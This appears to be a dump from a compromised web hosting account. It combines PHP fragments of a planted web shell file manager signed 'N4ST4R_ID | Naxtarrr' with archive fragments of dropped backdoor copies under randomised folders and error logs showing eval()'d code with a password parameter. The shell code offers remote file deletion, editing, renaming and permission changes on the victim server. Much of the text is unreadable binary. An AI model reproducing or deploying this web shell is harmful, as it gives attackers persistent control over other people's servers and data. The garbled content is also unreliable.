//////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
"; } if (isset($_POST["delete"])) { if (unlink($filePath)) { $_SESSION["success"] = "File deleted successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"])); exit; } else { $_SESSION["error"] = "Failed to delete file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=deletefile"); exit; } } } if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["path"]) && isset($_GET["file"])) { $basePath = rtrim($_GET["path"], "/\\"); $folderName = $_GET["file"]; $folderPath = $basePath . "/" . $folderName; if (file_exists($folderPath) && is_dir($folderPath)) { ?>

Are you sure you want to delete the folder and all its contents?

Folder does not exist."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) { $filePath = rtrim($_GET["path"], "/\\") . "/" . $_GET["file"]; if (file_exists($filePath) || is_writable($filePath)) { ?>
File does not exist or is not writable."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) { $folderPath = rtrim($_GET["path"], "/\\") . "/" . $_GET["folder"]; if (is_dir($folderPath) || is_writable($folderPath)) { ?>
Folder does not exist or is not writable."; } } ?>
Directory Is NOT Readable
Name Size Permission Action
---
bytes
N4ST4R_ID | Naxtarrr PKz&e[8v eu9d36.tar.gznu[KK@su76Ķm$ "!M$  ; 3 C"9mHul8MwnۀϸӗN\#blU6x}/cs! ӓxTLocdߒB4Lkz=yo'*䋩i-?N0a/( ([Hհ ݆6EV-Ee;GvBLnۺ΀6uw 0dPKz&e[ #gg index.phpnu[PKz&e[v|Ό 2xmzkg.zipnu[PKv&e[ Jii index.phpnu[PKv&e[ Jii index.phpnu[PKIPKz&e[) Nindex.php.php.tar.gznu[Ak0p?J{h/F;L"-j&`SpßO4[{2JvV ~V+k ȶ旑fpءIrs~E6 )usB)#(wVgW]tR Dq&?' r3_[(rxE.r;3$ۃk/i&`YU!^Q6{~yߕ*PKz&e[I 2xmzkg.tar.gznu[KI+(`03 `hjFf@$nflf`@C7AiqIbJz5C^iNJufbjnAIJ|kPkPGHH@pR&PRANjq1((Y+d%甦j(UeXe|MC2\U24ڣ`Q0 PxTPKz&e[  0kium3.zipnu[PKt&e[gg qym31.phpnu[ Na}{
~" : ""; foreach ($paths as $id => $pat) { echo "$pat/"; } ?>

File Content:

File does not exist or is not readable.
File does not exist or is not readable.
"; } if (isset($_POST["edit"])) { $content = $_POST["file_content"]; if (doFile($filePath, $content)) { $_SESSION["success"] = "File updated successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } else { $_SESSION["error"] = "Failed to update file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } } } // --- Rename Logic (file or folder) --- function handleRename($type, $currentNameKey) { $isFile = ($type === 'file'); $nameKey = $isFile ? 'file' : 'folder'; if (!isset($_GET["path"], $_GET[$nameKey])) { echo "
Invalid parameters.
"; return; } $currentName = $_GET[$nameKey]; $path = rtrim($_GET["path"], "/\\"); $fullPath = $path . DIRECTORY_SEPARATOR . $currentName; $isValid = $isFile ? (file_exists($fullPath) && is_file($fullPath)) : (is_dir($fullPath) && is_writable($fullPath)); if (!$isValid) { echo "
" . ucfirst($type) . " does not exist or is not readable.
"; return; } // Handle POST Rename if (isset($_POST["rename"])) { $newName = trim($_POST["new_name"]); $newPath = $path . DIRECTORY_SEPARATOR . $newName; if ($newName !== "" && rename($fullPath, $newPath)) { $_SESSION["success"] = ucfirst($type) . " renamed successfully!"; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($newName) . "&action=rename" . $type); exit; } else { $_SESSION["error"] = "Failed to rename " . $type . "."; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($currentName) . "&action=rename" . $type); exit; } } // Show form ?>

Are you sure you want to delete the file ?

File does not exist or is not readable."; } if (isset($_POST["delete"])) { if (unlink($filePath)) { $_SESSION["success"] = "File deleted successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"])); exit; } else { $_SESSION["error"] = "Failed to delete file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=deletefile"); exit; } } } if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["path"]) && isset($_GET["file"])) { $basePath = rtrim($_GET["path"], "/\\"); $folderName = $_GET["file"]; $folderPath = $basePath . "/" . $folderName; if (file_exists($folderPath) && is_dir($folderPath)) { ?>

Are you sure you want to delete the folder and all its contents?

Folder does not exist."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) { $filePath = rtrim($_GET["path"], "/\\") . "/" . $_GET["file"]; if (file_exists($filePath) || is_writable($filePath)) { ?>
File does not exist or is not writable."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) { $folderPath = rtrim($_GET["path"], "/\\") . "/" . $_GET["folder"]; if (is_dir($folderPath) || is_writable($folderPath)) { ?>
Folder does not exist or is not writable."; } } ?>
Directory Is NOT Readable
Name Size Permission Action
---
bytes
N4ST4R_ID | Naxtarrr PKt&e[gg qym31.phpnu[PKIPKz&e[gO hik24b.tar.gznu[Wo7g$ͩ-mI-%iFIi*d̝wMM|w9HnA!foT#?ztTG::8w_՛/zc^ހB*"aHO1BP{S,\#^SO2-0 u)Ddĕba3 ,R0A硢.O+)`\@L*&f,bp: Ec^K,X75흤ROt]>=x"\`;ÔDt r`QRk2FUIBpz %_H\yLdZuym.p/~D7(Bj5A5mD;(hTT6lN< vn# Q xaj`ϔT֒GF,2WfY?@ 2>:跢J,a2Sf,`؂CLCssѶV~ &x6u51W[ñgzA to\;d+ËbYIUV4TY++ټ̍yB DKDSxRD:T-18%㢱q"֦"Y.wZ7583]ca9|mafaCܸ\aj.aY?եjt@_~KpfKcڂqKf=E$Sn 7 l m@)3:2A7{rS;~ i &t@%LgT޲;Cvz?ԄA0W,Mdۘ)x2/7: ugTg>w_[w^/tc|gQ|_+z|C=\ BI'Y*M5T?Tt>Grq/?uŘcCobS%s"~gugWZeDңٸy]W3A|PJ (ȽXRhwAgWB="* bΚXq 8c"ehZ,ono6FUhKT6# lt tӓqPF<POI3t"@*yg[-[ZN2It㿓=PKz&e[{>ҧerror_log.tar.gznu[A0~ڇѲ"ip 4zֶU;Zb!tO愔B]%x^R]%)eUH-]^?4y@׺p} 6h7 ʮ Gf,oY簟s8k.]xFn 8gSo4 յd=$֌ Du O5/Ld$p+p2UrcFw< [/7d͵|k˚P_ͺRiY,ZYKӵot^i35MP 3\^55o}k{#A!Z럱3gΜyFAxPKz&e[ DD a6z8x5.zipnu[PKw&e[d U error_lognu[[28-Oct-2025 16:21:34 UTC] PHP Notice: Undefined index: password in /tmp/phpUFpZij(2) : eval()'d code on line 1 [03-Nov-2025 11:22:38 UTC] PHP Notice: Undefined index: password in /tmp/phpKDh5wo(2) : eval()'d code on line 1 [04-Nov-2025 13:25:06 UTC] PHP Notice: Undefined index: password in /tmp/php79mjsK(2) : eval()'d code on line 1 [05-Nov-2025 05:47:12 UTC] PHP Notice: Undefined index: password in /tmp/phpIpiRhA(2) : eval()'d code on line 1 PKw&e[%}ff index.phpnu[PKw&e[d U error_lognu[PKw&e[%}ff index.phpnu[PKPKz&e[M deylv4.tarnu[error_log000064400000000430151026170340006455 0ustar00[27-Oct-2025 03:45:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/deylv4/09epm.php on line 163 PKz&e[=x#H#H erk72g.tar.gznu[\!"AgSI %(BV-{]]{g|yI͈L1.|t4 Ek:TJ$hD:LCit "&|4@&}ME[ tDEܑ%|;s)Wm|ws3M4lpySӢk!E4wMdgĢb5:eWn՜[ߎ2c^MW!^/shɍSگ<>6﫩pkNDNJ^MXlɎNw^do<|4ۙsq挲$o<kG /%2]Fcq!qfA'>~NG0|lI^GunѬk6r]F]/\yv ;g8A/Q=ľ y_SJL~lY &8Ν4t#V]69ޥm+1;2=- Hg7\zvѯoڙ-|oɽ/2^w@6/wBT:DuЪSbY[2l9x"yF'Č'n1 ;>Y4ix$o]w| 8mB/(]J+Hl}gw5紉_lo7̪M̵{'Xpe khsw?o)^ܹ>dDs]olِOӊ,nfd8sdR]>~gtt5OluՆ'tm+mp xo_b~Խn 4=&16O0+԰g8^w~5b#}m|)O.+`18Gs_1$i $xvY|4,''63  K$` œaKhK"T_HcXDd[ ՖB\FBnX|[ `(),J,9RH,>13Εrd2 ,V<Ʊ||_X@eL3L12 \D(˜  !@fm!(,*򘢉x"QK( eA3`B95rчgldtĖ`ߞ@:@c#w@#Ш:_P@^!˺5 m‰(9!0 ݰ L#e.l{ٖ&OL&/qtp܏ْ=]e+|\z8^ZZ? q7Uo5^ mɻd#ajLs$|}H7)/(n&wӎ=;H6JfXvhDWvmKF!+M'R4jUP)Jr-EOmc{X6KKlNSg%?9CnZ۴k-cDŽΝӝn],rIYӑyI9sdO$\ޖT&8S=uȴ^-nbyJ8*e y%pr}CUYg_q{'ݶn?\?>mMwیjc}&p$kف,mRvW΍ 8؄t oߎ}뎻\㖇-i0M~1Ø]+{IqoN_;HhfǓg,3jιONg1q+ W.غhV_E{y8?x{v8zv kNӈcF`9m˞s˛6e-9C/=&!mO4}!0ؼQ%z^nhL,,Y \]Ž-{yZotA|c:LujVLߐl'7|֨Twiwk w /椵zV܁I-?4p RєKJr‚cl'>YBgTIGWp}:D<|wf0p]o:VܨggӯV0&kMkMr wO, r;7ɤ z>p~Ճm]{ie-syH_gy0y)_ڒ<o{}./:dY:K_domxyms)3-~So$Y;)q z͜[ Y:& 2v4gixEy&ENokenQeg^[NgO}mnăO:Pח 坃s'|֥}w٭%-wPR7얖Y=l?l$!}ڛSKbȁa#ϥ ʜ,y\eG>m^NNL<|$Zj4-{j;=Mw(jpl[w!w |sjX#ur:#f2\C L[Nljd"WOrp|7bAc_{7~S e'_N|5N&2]$(ˌ:ܹ+ҎG'Ydlup8}7[pO!.=?*?q9u`L@myĸ]y/RH:v`EIԇvĦ\ys,B׏o>d>Gً}1E%seEE^oһ/oދ]NM]Q}>sh̬3 <2ζ(4M2ņ4o)|#=4+֋qsޚ{}N7qB-c\g;ܥjˆn/FX=ظ`܁QWSǰZܳhǸtM!S /;Ҥ/l_X)o,|e3׶?ؾAޞơGo0Լaïzc_zt2iЂ9K39+lIׅi>Լ&)NxnC="[ u:aJO2$+Ȝ`6pZqJ,"o ̚l,N)-zљ5n"{;$PcfNSoHV#M,&|yy鬷 >ĝl^ڭu9#;$ј ڙ~H\xblϼ[/ޜDI.sƺ}[`V0fZ;`Na%N4d>O9jKS3ٖ8͞a}rBqzKޭXR avVy '̋(+M34w3fy'5 6Eǃ>nwؼ4[:DqxNX7w K0\7;$=kd zs쌙e1xԔ7 69:+7VXKQnHMce>MFo ûã&xx˼FM3t鼀r#g$}u䞋=;66 zzya3H܁ ˓76q=QV{OvHyצu8x&m|eY];|T_ҍ{nI]C߮U1T}4JܐٯG^ZvMa];ge[vdoFEضFtqi-Cf"6N>^4uzlTòzyqi#G/p~qO&2i?b—F']8s½#>hO( ųe-L!\;rҰSgve:_%"ݺVA}T3>%u Xe6ސp,μ5Z=C&5?}=#y+$vs|M2tgrY=<>3o=ꑷӭժv{Kgh-G fe$q|gx9%~.hOʚΦZfAJBOK=Kee m%97r\;Į-=_dA؀%/ >/\+ӿmaysL'X{3cGlyɒmF^lJ8ŹE -=:,0涐g 7aj ~蝁֧ ze:m"L۞F5t<{eWx1kxy:8.mXu[w.(Mҥts[Gmc( 9`pliiN~Iu02ͧYd^\ײa!ݜ &[XY-L ;N^Vxh,L;{FJb:ӓ~rٟZء Ԙznr;5 /τvon7ōf29 L|Uz+ 6O[t07#>-ɺ ϫ4ˡa͋R48ny[x؁nޟ ZE}zm`ٷ{ׯٯ|#icH^hU4h75 =&.KhHċ9Cg:m]#@3_.0m&{i6MNɷL ez4uD@©$ngn/pݥ!S78>ly !'5hұzJ%Lv-뗏#~`rqRJ)~#qċ (q t~t}މ7̈F'لQ=:}<͸míq{ɧ}~'EzX+?ƪa iGݼ5Y/Aw %v0lzW-]{c`sW8j[#}7~jg,䕒 -6qf7K/J[YLLcq;|iyʼwo(=6 L,iywBLiG6(}ϝo'|Yo!mk|I\6'M{FD>~Ş>3 @ñ?ߒcޕ/?Pʎ[yd]{Kvg4kAιs㒧~i=$i>|ʜ-n[ey|޵N7*䷼\Uo89+%U^ؗmL==s͙/=ܖ9˓ȹh)FqÌ<9䖭0{|ؤ_s[uIoӇ3ZW˘b7{%>5hɢQo^I?Eǽ?fF8ҍU`lg#LJ:@>'NbN{D&;N֨(ӑ6҇N<{ޢE^6M1;;ՇGK'~1pƮ+5l#Vw,:|a癎Y[ݩ1my76d> @ }b:}׿Qע ׷nw?nHM,wSӖ\=8,1Aޣ-vXbrcOh50LUvIrA+Oքe)oz?۷O}ǘqWqv˹Ƌ'\nYlJY|Q99nOl/߼flN%3i ~ָ%?mu\7d{ޓ^̮FJ祽Kx$arN_kl_ᇽ[3  ?B|q݂oo =B%3QGP)6.!Z8Ғn>="G`ecc!cg}GrdM._|v̪߱C'_e_jS&$+kwsOxH?8|2syшK)}OK_%c24ĝMX?4[eB;-4ꋽmD]b>% މiɅ=sZIJvyϩӇ+ݞtovgd⺸pCh G{xg3 u&t6z\P:4`V' {@Y3&o$]IIOmy~cMҥ [}&f |wÞKii]8gim&[z2[05r̜F= tmK;ۘ-롱'hA_rx~D>o^I(c 'Lx~ۆTfz)9{CnvDIk8l bV*ybGR?ږ0em>$y鉯9)φ/޾Di|8haC_ ^ZO;Oi`^4cM=J'/NmuˍnLRNOCw//;4/K8Kʧݹ9sPhV_Þ'u"t}j^Вwb%.uSqwDpf3ͽZO3ܩO.ӟtڗ"ΩIۧ`m\0IL=Oܭ&KxV_Uo-/*0ayX|,!nz{|xSa3Cu_!j6Z~뵭)w&}b6\oW_ ЛqsGڵ=Zyw-9]o:X< Gk!6R508zhЎE=,(;f[~|F?{tc93Kt[~um[s7iQZ5E|޵=Y1gq=n&?d6cʡO KNv!INۜ4l|~Z ֤ͨN'V|~o`j rI ,qo/Ln=Z|\/8.^'[m})ghj=~'ja-w}hwx0`cw_6e}F7=M}Wo) wiDn.@mopS$wC<ֺ|7=_СPM|)nK\k<7ƫ}lϡv9}YO\7jYfSg`vq_syx5aMe&4u Y:RNjKkpwÐζϮ?fhBǑ ķwϓWE\/6s?rX};in7y2'XNx˖w{-Mכּ.>O YC&[-LQVW'5=f]Ss }ԑ!m-۴7h51=%zfįt懖L'oMZaSgWE6>otƣuJbȒ'v}}̳Q³D#U{-ڼ؏Ggl[.at  Wmonw]qMn~>"DHu@:#0U6i?2utD $1*#lID[2?/˂m! a\̆PB̿hp0s#,IV-G1yVl%d5 $^(ED[ɖPk ٖD%~A ?B2{ R+$Pm)t["gtq}857O(*;ngX:Ёt L*(tuC?IJ_~ 8Ne03-nK z .ے A1 7俱T_k- jK^)B%R^NRbPHchH$R4C%ؒS?~c5DUMg哉fH"VH"soLK$\  A3aff" Zr%Xji/$AސF d Êf]T,YVb06P ,0NbT(FD398@C0dbF Y1q,+О;&` Q( BGZ4 7 4H #*AL Ld1HkH̓*AY-!aV⋉V`-J_h5a͚eX<ͪLRXV T,!Lc5FO Qp?! N_odUCF29d3!6G,pÑ`~n4p Wj1c S$HטEk!@ǙA/cB\ rf|%,r;q$̔ȋiR-AWOiq2%^7gX3 Rv5&֐B80`<$0 0 HX rxXU&I /(scdԜ|$*ʪN91dH9S bL&8|!4/g<$"N`1JS.*#>T"U/)C6"^}54(_СՇGȒc1JV*ZU&ր|}}yb$2 *&@'+*-"CNj5Uf"ćİcKdbCoD;`[_Ja#9F7ȯّgcv͎Q'K ՋNAyy|,y!CyA3{S6X !g/# 7=2> ;`aŅEB)&dQ=â?/ƕr<,<؁#&Jysl=^]@sERH"f9`2P͆y(1NK$ ,D;Q0xyH?Bv,1%Lh86\̌Œ đ nC"D `Ͷʢ*ToNJgs .#5,SCFTb79);K$@a<8BFHh,iH  A{#?! l5_ʃJ)ĀyО("VE2ܰXO G 4S4qE0,Pb,A?԰@ yH4AH i ) W"6imҴDG. T y8mFGG88&A;H 2{@0,X FEBx0CiCj#u`2d6(X d1"OD$ B+>$$DCA/DV8*'qtKđlL"D@^HzA2 Gex nCV <+! Gȝ+C2@IT$V < #z;hhvE*JQ >f2u*Uq&oq&V7M d[XkQ(%e=T%'G0PϦLFy͔2lQXฆ#j{%2 NpA l_JXqDBϾdOϲOB\?Jba$\XdXLp!WP9])FP#,Dh|דy4/fa9 #5WljFVE0tjjP PS|F"4 )èR_CveA$ jdaIHjjm̠VBVΫ҃JJ$bI5_PUS4uzTGuzTM|꼅Lt2(N%-Ta*n%-j)UȶE߸bB1 X@vb1E"<ȅR> U|Jp:_%!.8r{a@^mu -!#PH䂂(+bx,Z+ɤVD[ ]"T(F"?AMX)dd\J@\eRT~ TtE֠,FTUb6*b/`n]!YW;P FW 4Bm=P{!ea6WW, .}4MA@U*$"jΆrp$P>WůjD/TsWady2BoZ[-EVV7*Y5 d_d=]`3 H0UETbR(X^r!6\DE(i,R($D-4V (HF%4nk|k-)Q[1,P9;! dH RԧXGJ}`ݢMb*g-@Y 9e-!F2V ޢ lh3vQUPR ĐUb0U_{1k^բBMޛ@3neuh:+__ -\9Z;X Hr!Y(i R-sGPln umrEZvK HM+)MB@ P jǣՄIHE4ҦfSEDMo%B j 6UȩJvsnRR5mJ8`\1̮.7iGDT"6eI\A*HD,:`J EA5W95 h)ZWN)kM\;Icص;x3feMjVuD]./S'srYթʉEF V5x^\<%;,QZs h=HL%> _})AF-ҾèqD5v"αc!9@ <`#]mwYWf.jzjBuf(."笅MZ=ܨWMZM.~ĺsg Ҷ@3Vg:TkYzAb%(6Jk bZVk#*0֒楁u#+m t:}'  )B˴Pqն@VQ& Um󸖗ԑSU(Tlߨix:P5@4?1(% ڱ @dZ-2yt<7CyU`rL~RU[@!IS՗^>j5Iu+a3EXde_᠚g(F3M[ -ЭMH!f;0zGWYu3ğ]ܕW|&{.r4]&lKOaUO&Dp 7@TQ(02rrh:o_5/_P;X,$7!a8%+Y%Tgp6QDBmHl kUQ)ĕSZU6 !([_P$-ԶOZaV)+k%6`bI5")ߓ#:BAk}ט\j5UC@{>'QECQe*r 괏ya_kDgeAVW, eVg D+{jDVHp9H)d׎ WW_+rU2KPayYn[hAJ٣, yo5$b(umC~hI_9""_0Ҵ~ Z9X#nO%(_eN>:= >UlTZ_V?N_ ou&<{Xi̕h8(cTkxܵjp @X+!,{-UHK[֪ɪWiQW-T03fZQ,X g/LS#I9r"3ZN3,UqP?"]C9DES *,c&'EC ڧE%hb qӐ'ƈS/F!Лc6(p+*Gm?oR8&於TJwUQr5WIhs`cE\rnpP(>SҟjR!`AL`s\1]&=@P}Tv5)ohE`,V("Gh\'U}:Xy.pmi4GpdE=E(Hzj%?⩔5o񬢄FΞfI!@*.,p&Brjd$(.bt'?cSiToh?{4g̘J5W$Vqs @F[VM'ڮ銠zZhD*+# !$!,{FtZN .XXiv\[̠؄>5r5S, vJҡH_Qi-Nj+%]X}ZjK41U߱^N]-B;Z9?Zmu[Vq:?Z%:|ʯ.D}<\4ÌU^ CU=ːI=3ɄuD`XL \)Z/vWrJN1rNWopM TFZpŁ gO*D$q>?Y>ȡZrxqP($So"A}]}jA6UETUbǔr3N. >[%DBDK<"P[1U_laR= s݃Y j7#E|P-H5Q7dj}`(P<6 H4 ңT+O4"wՄvH h0AήUBiiȷ:L:S-AvgͭkQu PQA?ĭ\s&P޸B݁]4x]3Va (e7(5PtTf!>Q)j&ڮ׸XAjJ;CZ^K|P~@GB! eh2#S~U G`8"$p C[ bc#OF2B G" ?I$T#PiGhN5~BCr;i踩fnb@(epw7'ʕ} Q!ˀjOQuAzD(U>EjH\qb/e1D51&'ԭ@ZD/7 4&vt*N!_$r RD* +ن#ЁՐ@h0Ƞu24 _ j168G&2H܇?G}la%!SF 42Dā x*ɥ RBQHs t~$$ mQ(PGD(> hd*/t 1pt0D jC8::^[O1A"#L2(,,@!d L J3q_ H(8:b~g#\)vTtgmy~Cع6>j.y_8@nօ_n^ٌ_^<$ȡR}/x=@(% U~j, wŢ -;c)~R Mj飖|c׏y1bU?M\T AP $OȔ Nj,%ű@!CdifJX6WĂa 9KbX6Ɣ񤘑3#QT<1lWRD ``V5di98j[E.5ʕ#_ĺ--4rlKV>šS `ki!ZkTQGoT>c9djJx҆Tz`jژK:UUf%,{<#04dpO&X t.pbp@h6CQ(Z RT"D# dN#7Nɺha; d<d|P7拤qv'f Gcq, x\K"1ʼAӿHrjx˕v1ƮdDfƓͮ&>z5~UA ƽI[r?F˛>?H1ёΈ='ѫ:D@]ܫ2dYBm7܁B87TL [B?ںxK& ]^3vL=g,,=)4B2i͑ #'yhφU'8{E"Z^֋]~Ї/k@օ4"՟J~񕬬v)y׫w'_5? >Ѐe0ORH'Ou$:vK%HT@m de$ y \l AO `6z KߡJ^xtrW YZY!tV5T5X%  d"6K "D-emIU jtQ1"͖L%y;Ɇ@z #Zÿ4 >P*:FbaK@'jETTR/AO'$SFu?Tt*iUitNwv;[1w\[^1r~~)Qi-h%0x̘eDoqoZ_I>&+j';_ștvC'6ve̲}F631? eMw.ͺ8pdЦޔSR/%=]SN9Wӧ_bp|cӮGxNupKI|ÈZ:{gbJ.;kUFRBJw?v0Kb1AOIf Dm[m~+u(F;>Uf}fIf.̖qN$Τzy7߶<]+c#[n_=)mtt/n!ZosRz~X^\#PQi:SuUVT(XB4XyǬ%Nx|bf4.+BeXxc G3pX3%RU$xXVP>Y oL-IDc&8"D!PXyEנT0*x\t/`5tjjԚE1E 2ҬzB&IU-ӭ]$~eFFFFg-~| bs6zmp.tar.gz000064400000000464151026170360007121 0ustar00ѱN0Εxc8 :A""7&A쳨xzLU1-οuw2ZklL;;BX"R>'y\4~ƙyG҆zNCM'Y)x޾f'iu`+Z6PFW2f{whOQmv:>lR-p([ ^%e5@̈YC v<::e.EG1.z 30+Ql;UGbMS`&n؍`4^#|9L&sMg82xmzkg.tar000064400000004000151026170360006471 0ustar00index.php000064400000000151151026170260006361 0ustar00index.php.tar000064400000004000151026170360007144 0ustar00home/gettoplisting/public_html/dd7e5a/erk72g/index.php000064400000000147151026006760016671 0ustar00bs6zmp.tar000064400000004000151026170360006470 0ustar00error_log000064400000000430151026170330006454 0ustar00[27-Oct-2025 03:45:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/bs6zmp/809u7.php on line 109 0mdyke.tar.gz000064400000000307151026170360007065 0ustar00KI+(`03 `hj`hjh`dfhn`d7363R0࠴$h%=!4'ZA%VI:3MC15RC%>5(5(Z#$$ ?8D)VSNVAɩ )x2sJSR52 Kr 2!.*JvQ0 F(06?90kium3.tar.gz000064400000014765151026170360007021 0ustar00=ks6ܙY)NrYe5&P ;^΂t.;ic,!9d [zXCzdw;E{wr )se9a ߾͠,ZwI 9q:i0v5K [|VQe%2ˆ^&d`>4u1Fǡv(SdP;\Kϼ)/_CI^ӣΧ>{Lc/JIOyF~;uĥwMA~¸1MI v.ͺ'{I$ɩ~;z HHEʟudzmURg#uzgs45t,}(q]0y =2aMAid\EB"ݖ:1N@h2p$;`ɢE@%a5G`=P#P/`{KcЧs}L?k@@Lx.×a4B% S>6rCEM#{>\0T`rib 'Nsoiupn,[Atǀ' /}^j=# T.0%=A*""C_L"VDcg1{;42VqaQo5;&1 y ۴+-c00o53a>d$xIϷuG$w/v?Dl@y- T>Iap|`Qe'4s(I8K>oueޚK6)S,.}Sݒry-EKe=6 Hq@&N讗rq=E5|c ;'8 z9jnW70/#ޭ>U|' L8H\SujlKɿ^PMbqYhH ~?"# ͆0'aYIT/i6AfJER[5 ^mP1eSeƵZo4jeڃ̾n$&\e~ys=(Tjx^jSP/c1/4ѭ觲y ]h =cBgȩhI03[bN1> A|㚲r)&,2!S{83^VLrjv:3<~AㅓNP_6_ @ˀ{j`@TN1U [[6a#Ƒa22*2p 0?AWVskEM d^aa1RV(h︑,͂~%Y.8#st%$`&fق&4TZ&wDOFe7ڸ"Χ=),#MgT<-$3䴣0 j?ڠ07"E$iQJVLB H»t<-˙^nNmRʶfץS. f6!L#0*y+]P"D4l=L/'jr^@c~Z6Щ/ǯq˺rB`'pM}uR jxfXe ĺ-ZwELNrN]{\!Vgż`h]04w]*O_@􀭰d&ty `tk9$Mk. NوF/q)0q5~Wl܋)LN6ts%C3si7ՆnVXk|5R3U64,`kؤM Xfn4ºI[mҭuužd:4Z7o=(+[( $~j!5Zy-vDY%@ʢ=F{{+\ ʰȾ\L aG0Bi[l:c_40=نY㊏d./jv^UF^mTM4D=,?[J) hSl'zϖWl ݝ[M灕jȤs;!6RꊾCp!MNi*E%'c%LWNHǙ}NDaM`Ro‘s-m{$UfѓjG෾>]_y';Pԧiͧ^ "jM%CL!MH\;2ȟus-/ݶbo( c*2hR,N>\Qng,deZ9G6ưnMKrt_ub8CӕASu> MBfJӫ^g#>U H"\b0Cަ.U<1>}q] 7ɫԛrɟYv1GQ"߳`Of=Qn e"z[B^<ʅ0H4!deY>0 ;ur{Y%mʵ,:;CADw9X%;d [(VQ4&%+g%@jȅz.Iأ"u.7A+WؿWAƂә')'DxWV3Gpn" *jm!sxAd7EEl<Τƽubx*Wᔭ'b# !{T{Yޖ$u6@XyJMư!Ij.z7 \S9ݔ lN5=xt'+Lk'g}KHP2=O5e;1HZo|M$f:FMM_!ʕ8!WɶD.)(e1(JA9:>>:}|r>/1׽e8lp0qrֈo#vwdᾄ$1od0q%WS>z~Z)H"6EU^W+wu%'m\Nx)0;qa^Iǫ/e([}7sTo,.hK T}(ڸ9uV"ԣ1KdeKlQ" Xt<W{0A/ɚV@WNAE9U -&iDʤUI{DW8"ȆyUెmW*HZ=^-"b5ܮ):жO N B@ZSMQ(Un7[鮔tl_*?ZKUy(C^z"eCPo5Vc{8 uMjk#;*[V6.d߽zF|ÌLSĿ3ٞ  Ih. #`wm$gg>1;nZ.QÕmlܮy omĴ榽Gda5n[yЉ64-鳷kMmSDITwR{fAvͅ"/?&-aOg)'~vʍY$bȷErC|H iM<웾v}ښ7. ZJ3n) Than7hRҋ ݟLk_mJv6]+b7X^wŻ曕!;SJ)[_&޺_Gm +ߛ@!|+d仔x:lެ -vK Ry>yDUNݲ/ ];WV~ -淯 im~I}(O<'C"aKcз4Mc_? \H8\NЭ؅;y$`qu{mҶEM<#]ׯQETSI3Ѡ(S`I+$ks8z*WEYfTFgc/\n}nJ7=c4a`6CbN9&Ccx aW; >6v=kD/?2L[p}S2+UhO&<334,Ci=@% rdzv*l7Mc2>/zx>Bٛ\ٟYB3^C1deuk.ҁXu7 b6F(q<9n1;kxX2Q-۱@ּ8 )H/F3XGFRl#h)2n#.{gc J|?.l[nt kfz~jotE|vwȃ*:4E-|m(s~b{ޒ2㟁>b0za_Y[UWhTgRLV*a)̂kQU%HN.a}Qo6^_]'FZjBius4|1j4&ea3vNIX=7HO@49ʁrc3>2F_&ac˰1$411}<ݚXd (mAi| +C¸?d%TМP !0鍇7 Clo ְOphf2 4 gl̥.E|@=4#lnƧga&NZ@ò췗77@ {@FٴdDƈ@ٱ ?!nF')Z8(1`8r {b5!4oX :RPډ3P6ʻ9'ByFQko![?8s6ܼ 7 7Kbx(-˧l 0$/`lT U,XXS*Or/'4*XHkGw/kwiE4 >t^ `;xO:%SO)HXLwYsicfuWπ9W^ҀBs6ӏ=KT 5@̧xKwSm2U(.`C";.w5攢~%MS}[ePu e{X[3T^HGfAt4Ə1_&^k{mufal3mktxg.tar.gz000064400000000635151026170360007115 0ustar00Mo@=WLI`.6iMTb/XHSS1qSxNdɼ,;nD,^kQ4E9h$װaIٮNeY uY/Hzog I* (:A2) Eo`:]|z'`Go>]-b1g2uj'^o @]Y/\;tZ$M8g(|*ȍ4]GSCk:y(\ɍ^ D9Δel]`=FDe9~٨|D.es+ylrOaEڭpԽtqg3p]̺MpN v=}1Ž{`fEEEE_^ 70mdyke.tar000064400000004000151026170360006440 0ustar00index.php000064400000000156151026170220006362 0ustar00a6z8x5.tar000064400000006000151026170360006316 0ustar00error_log000064400000000704151026170310006456 0ustar00[28-Oct-2025 16:21:34 UTC] PHP Notice: Undefined index: password in /tmp/phpUFpZij(2) : eval()'d code on line 1 [03-Nov-2025 11:22:38 UTC] PHP Notice: Undefined index: password in /tmp/phpKDh5wo(2) : eval()'d code on line 1 [04-Nov-2025 13:25:06 UTC] PHP 